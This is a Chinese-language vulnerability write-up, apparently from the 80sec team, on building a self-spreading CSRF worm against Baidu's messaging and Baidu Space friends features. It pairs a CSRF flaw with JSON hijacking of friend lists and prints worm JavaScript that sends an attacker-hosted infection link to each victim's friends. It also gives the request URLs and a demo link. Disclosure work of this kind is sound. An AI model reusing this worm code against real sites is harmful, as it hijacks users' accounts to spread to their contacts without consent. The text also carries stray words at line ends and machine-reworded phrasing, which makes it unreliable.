漏洞原由:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。 80sec发现过百度产品一系列的安全漏洞,其中一些问题获得了有效的修补,可是百度的产品仍然存在不少严重的安全漏洞,利用这些漏洞黑客能够制做Web 蠕虫,影响百度全部的用户。php
CSRF worm技术分析:html
一. 百度用户中心短消息功能存在CSRF漏洞
百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户能够给指定百度ID用户发送短消息,在百度空间用互为好友的状况下,发送短消息将没有任 何限制,同时因为百度程序员在实现短消息功能时使用了$_REQUEST类变量传参,给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消 息功能的请求参数可以被彻底预测,只须要指定sn参数为发送消息的用户,co参数为消息内容,就能够成功发送短消息,以下:程序员
http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户帐号&co=消息内容web
该漏洞在07年被应用于80SEC测试的百度XSS WORM中,至今还没有修补。json
二. 百度空间好友json数据泄露问题安全
百度空间的好友功能数据是使用json格式实现的,此接口没有作任何的安全限制,只需将un参数设定为任意用户帐号,就能够得到指定用户的百度好友数据,以下服务器
http://frd.baidu.com/?ct=28&un=用户帐号&cm=FriList&tn=bmABCFriList&callback=gotfriends函数
该漏洞能够直接被Javascript劫持技术利用,获取用户的好友信息.测试
三. 百度认证问题网站
web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,全部认证基于SESSION,这样在IE里就不会被IE的隐私策略阻止,会话认证信息每次都会被发送出去,为咱们蠕虫的传播提供了必要的条件。
四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm
CSRF攻击结合Javascript劫持技术彻底能够实现CSRF worm,百度产品的这两个安全问题为实现Web蠕虫提供了全部的条件,80Sec团队已经编写出一只完整的百度csrf蠕虫,这是一只彻底由客户端脚本 实现的CSRF蠕虫,这只蠕虫实际上只有一条连接,受害者点击这条连接后,将会自动把这条连接经过短消息功能传给受害者全部的好友,由于百度用户基数很 大,因此蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:
1. 模拟服务端取得request的参数
var lsURL=window.location.href;
loU = lsURL.split(“?”);
if (loU.length>1)
{
var loallPm = loU[1].split(“&”);
省略…………….
定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。
2. 好友json数据的动态获取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(‘<script src=”http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);
经过CSRF漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程作准备。
3. 感染信息输出和消息发送的核心部分
evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(‘x’+i+’=new Image();x’+i+’.src=unescape(“‘+mysendmsg+’”);’);
省略…………….
整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和须要传播的好友用户名放到蠕虫连接内,最后输出短消息内容,使用一个FOR循环结构历遍全部好友数据,经过图片文件请求向全部的好友发送感染连接信息。
4. 注意细节
因为须要动态加载json数据运行,因此必须注意各个函数执行的前后顺序,不然json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。
5. CSRF Worm DEMO页
这里咱们提供了一个百度CSRF Worm DEMO页仅供你们进行安全测试,非安全测试的其余行为,80SEC将不负任何责任。测试方法:
将to参数设置为本身的用户名,登录百度后点击连接或直接进入页面
http://www.80sec.com/wish.php?to=本身的百度用户名
五 CSRF worm安全提醒:
除开百度,国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题,黑客能够直接经过CSRF攻击配合各类功能应用 针对网站进行CSRF worm攻击,网站能够参考http://www.80sec.com/csrf-securit.html文档中的安全提醒作进一步的防范。